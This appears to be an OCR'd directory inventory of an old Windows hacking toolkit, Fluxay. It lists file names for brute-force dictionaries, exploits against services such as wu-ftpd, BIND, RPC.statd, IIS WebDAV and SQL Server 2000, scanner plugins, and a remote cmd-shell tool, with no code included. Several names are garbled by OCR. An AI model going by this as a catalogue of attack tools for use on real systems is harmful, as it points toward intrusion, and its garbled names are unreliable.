7.1.34protocol.ini

SSH:TCP:22

7.1.35PubAuth.Key

7.1.36py.dic

7.1.37RHV I

Linux RPC

7.1.38search.his
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7.1.39ShowWeb.INI

WEB

7.1.40single.dic

7.1.41SingleI NI
Single.DIC
7.1.42sglrcmd.exe
MSSQL SQLRCMD

7.1.43System.Conf

7.1.44Sys Month_Date.Dic

366

7.1.45Sys Year.Dic

1950-1999

7.1.46uninstal .exe
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7.1.47uninstal.ini

7.1.48unixcgi.dat

UNIX WEB CGI

7.1.49Words.dic

7.2 Exploit

7.2.1 7350wu-v5.tar.gz

wuftpd Linux

7.2.2 ADMmounted.tgz

Linux

7.2.3 amd.c

Linux

7.2.4 1inx86 _bind.c

Bind
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7.25 lsub.c

IMAP4revl v12.261, v12.264 and 2000.284

7.2.6 oracle.exe

Oracle 8i For Windows 2000

7.2.7 rpc.autofsd.c

RPC.autofsd

7.2.8 rpcexpOK.exe

Windows RPC Locator

7.2.9 rpc_cmsd.c

RPC.cmsd

7.2.10sadmindex-sparc.c

sadmindex For Sparc

7.2.11seclpd.c

RedHat 7.0 LPD

7.2.12snmpxdmid.c

RPC.snmpxdmind For Sparc

5
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7.2.13sgl2.exe

SQL 2000

7.2.14statdx.c

Redhat 6.2 RPC.statd

7.2.15ttdbserver.c

RPC.ttdbserver

7.2.16webdavx3.exe

11S 5.0 WEBDAV

7.2.17wu-ftp.tgz

wu-Fftpd

7.2.18wuftp25.tar.gz

wu-ftpd 2.5

7.2.19local (Sub_Directory)

7.2.19.1 su.c

Linux

For Sparc
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7.2.19.2 Sun Sparc (Sub Directory)

Sun0S 5.6-5.8 Sparc

\5.6\Ipset
\5.6\Ipstat
\5.6\netpr
\5.7\Ipset
\5.7\lIpstat
\5.7\netpr
\5.7\xsun
\5._8\kcssun

7.2.20wu-ftd (Sub_Directory)

wu-Fftpd
forcer

woot-exploit
7.3 FluxaySensor

7.3.1 Anything.INI

7.3.2 brutedic

7.3.3 brute.ult
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7.3.4 ControlService.exe

7.3.5 FluxaySensor.exe

7.3.6 libmySQL dll

MySQL

7.3.7 Name.dic

7.3.8 Normal.dic

IT

7.3.9 NTLMAuth.dll

NTLM

7.3.10password.Dic

7.3.11pskill.exe
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7.3.12RHV dII

Linux RPC

7.3.13single.dic

7.3.14Sys Month_Date.Dic

366

7.3.15Sys Year.Dic

1950-1999

7.3.16Words.dic

7.3.17Plugins (Sub_Directory)

7.3.17.1 fpe2k.flux

FrontPage

7.3.17.2 iiswebdav.flux

11S WEBDAV

7.3.17.3 nullprinter.flux

NULL .Print
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7.3.17.4 qgpop-flux
gpop

7.3.17.5 sunftpcwd.flux
SunOS FTPD CWD

7.3.17.6 w2krpc.flux

Windows RPC Locator

7.3.18Reports (Sub_Directory)

7.4 Help

7.4.1 fag.mht
FAQ

7.4.2 fluxay4.html

7.4.3 Fluxay46.mht

4.6

7.4.4 form.mht

Form
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7.4.5 http.mht

HTTP

7.4.6 index.html

2.5

7.4.7 ipc.mht

IPC

7.4.8 plugin.html

7.4.9 remote.mht

IPC

7.4.10result.html

7.4.11sgl.mht

SQL

7.4.121.27 (Sub_Directory)

1.27
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7.4.13image (Sub_Directory)

7.5 ocx

7.5.1 HexEdit.ocx

OCX

7.5.2 register.bat

7.5.3 unregister.bat

7.6 Plugins

7.6.1.1fpe2k.flux
FrontPage

7.6.1_2i1iswebdav.flux
11S WEBDAV

7.6.1.3nullprinter.flux
NULL.Print

7.6.1_4qpop-flux

apop
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7.6.1.5sunftpcwd. Flux
SunOS FTPD CWD
7.6.1.6w2krpc.flux

Windows RPC Locator
7.7 Reports

7.7.1 1PFrom-I1PENnd.html

1P- IP_html

7.7.2 1PFrom-IPEnd.PTR

1P- IP.PTR

7.7.3 netxeyeslogo.jpg

7.8 SetupNetCore
7.8.1 Sys(Sub_Directory)

7.8.1.1NetCore.exe

7.8.1.2npf.sys

7.8.1_3packet.dll
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7.8.1.4pthreadvC.dll

7.8.1_5wpcap.dll

7.9 SqlRemd

7.9.1 SqIRCmd_Express (Sub_Directory)
SQL Server SQL
7.9.2 SqQIRCmd_Normal (Sub_Directory)

SQL Server SQL
7.10 Tools

7.10.111S5Hack.exe

NULL.PRINT

7.10.2NETSVC.EXE

NT

7.10.3NTLM.EXE

Windows 2000 Telnet
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7.10.4PSKILL.EXE

NT/2000

7.10.5RunAsEx.exe

RunAs

7.10.6s912.exe

MSSQL 2000 UDP 1434

7.10.7SRV.EXE

TCP 99 NT/2000 CMD SHELL

5 158 158



